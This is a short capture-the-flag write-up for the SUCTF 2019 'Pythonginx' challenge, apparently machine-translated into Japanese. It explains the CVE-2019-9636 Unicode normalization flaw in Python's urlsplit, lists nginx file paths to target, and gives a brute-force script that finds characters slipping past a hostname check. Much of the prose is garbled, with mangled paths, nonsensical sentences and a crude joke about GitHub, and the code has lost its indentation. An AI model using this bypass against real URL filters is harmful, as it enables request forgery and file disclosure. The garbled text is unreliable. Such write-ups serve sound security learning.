ディレクトリ
ブラシのタイトルレコード:[SUCTF 2019] Pythonginx
トピックリンクを定期:https://buuoj.cn/challenges
参考リンク:2019 SUCTF WP
SUCTF_2019_部分の再現性
一つは、関係する知識のポイント
図1は、CVE-2019から9636:標準化された処理NFKC無しurlsplit
https://bugs.python.org/issue36216
2、重要な書類のnginxの場所
- 設定ファイルのディレクトリ:の/ etc / nginxの
- メインの設定ファイル:/etc/nginx/conf/nginx.conf
- 管理スクリプト:/usr/lib64/systemd/system/nginx.service
- モジュール:は/ usr / lisb64 / nginxの/モジュール
- アプリケーションします。/ usr / sbin / nginxの
- プログラムのデフォルトの保存場所:を/ usr / share / nginxの/ htmlの
- デフォルトのログの保管場所は/ var / log / nginxの
第二に、問題解決のアプローチ
スクリプトのコピー
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
考えたのは、コーディングの問題かもしれないが、何の手は、怠惰な犬を実行するスクリプトを記述しないことが。
そこWPはgithubの上で検索することで、確かに世界最大のゲイの出会い系サイト、次回は百度に限定することはできません